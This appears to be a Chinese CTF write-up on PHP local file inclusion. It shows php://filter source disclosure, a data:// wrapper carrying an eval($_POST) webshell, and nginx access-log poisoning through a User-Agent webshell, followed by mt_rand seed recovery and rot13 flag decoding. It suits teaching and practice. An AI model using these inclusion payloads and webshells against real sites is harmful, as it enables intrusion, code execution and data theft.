http://vulnerable/fileincl/example1.php?page=intro.php(该php文件包含LFI本地文件上传漏洞)
但是没有地方可以upload你的webshell后门代码
LFI只能读取到非php文件的源码,因为php文件会被直接执行,没有办法查看到源码(但是如果可以以base64加密,则可以不去读取php的源码)
如果你能读取到config.php之类的文件,或许可以拿到数据库账号远程登录数据库入侵进去
现在的问题是:LFI如何读取到php文件的源码
演示:如果正常用LFI去读/sqli/db.php文件,是无法读取到它的源码的,只会被当作php文件被执行
http://vulnerable/fileincl/example1.php?page=../sqli/db.php
使用php://filter/read=convert.base64-encode/resource=可以将指定php文件的源码以base64方式编码并被显示出来
因为被base64编码过了,所以可以不被执行的情况下显示源码,只不过是被base64编码过的,解码即可
http://vulnerable/fileincl/example1.php?page=php://filter/read=convert.base64-encode/resource=../sqli/db.php
发现对php有过滤,使用str_replace进行替换
使用php://filter伪协议查看flag.php的代码发现flag.php被替换为flag.???,被过滤并且不能查看到源代码
?file=php://filter/convert.base64-encode/resource=flag.php
伪协议又不止一个,可以使用data://text/plain,伪协议绕过
因为过滤了’php’字样,所以使用短标签
?file=data://text/plain,<?= eval($_POST[1]);?>
使用data://text/plain伪协议的同时,post值
1=system("tac flag.php");
即可查看到flag
这个题的思路和逃逸很类似,将变量1逃逸出去,和命令执行中?c=include%0a$_GET[1]?>&1=system(‘ls’);一样
对php和data有过滤,就不能使用php://filter和data://text/plain,伪协议了
注意是先传User-Agent,到index.php中
再去访问 ?file=/var/log/nginx/access.log 看看是否包含成功
User-Agent:<?php phpinfo();?>
因为是加的http header,所以原题对传入的file值不会产生过滤
User-Agent中写post传参,传入一个变量,将变量的值设为木马,和逃逸很相似
User-Agent:<?php eval($_POST[1]);?>
1=system("ls ./");
<?php
highlight_file(__FILE__);
error_reporting(0);
include("seed.php");
//mt_srand(*********);
echo "Hint: ".mt_rand()."<br>";
if(isset($_POST['guess']) && md5($_POST['guess']) === md5(mt_rand())){
if(!preg_match("/base|\.\./i",$_GET['file']) && preg_match("/NewStar/i",$_GET['file']) && isset($_GET['file'])){
//flag in `flag.php`
include($_GET['file']);
}else{
echo "Baby Hacker?";
}
}else{
echo "No Hacker!";
} Hint: 1219893521
No Hacker!
爆出了种子为1145146,接下来使用相同的种子进行两次mt_rand()即可得到相同的数值,得到1202031004
最后进行rot13解密即可
s = "synt{sor00r4p-63rq-47q0-o8rr-610s58s76n4n}"
i = 13
result = ""
for c in s:
oc = ord(c)
if 65 <= oc <= 90:
result += chr(((oc + i) - 65) % 26 + 65)
elif 97 <= oc <= 122:
result += chr(((oc + i) - 97) % 26 + 97)
else:
result += c
print(result)
//这时我贴的脚本,我建议使用cyberchef和CTF在线工具等